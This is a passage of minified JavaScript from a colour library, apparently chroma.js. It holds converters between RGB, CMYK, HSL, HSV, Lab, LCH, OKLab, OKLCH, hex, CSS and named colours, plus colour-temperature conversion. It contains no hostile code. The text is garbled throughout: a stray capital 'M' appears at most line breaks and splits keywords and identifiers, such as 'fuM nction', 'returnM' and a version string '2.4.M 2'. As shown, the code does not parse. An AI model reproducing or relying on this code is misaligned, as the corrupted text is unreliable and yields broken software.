e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
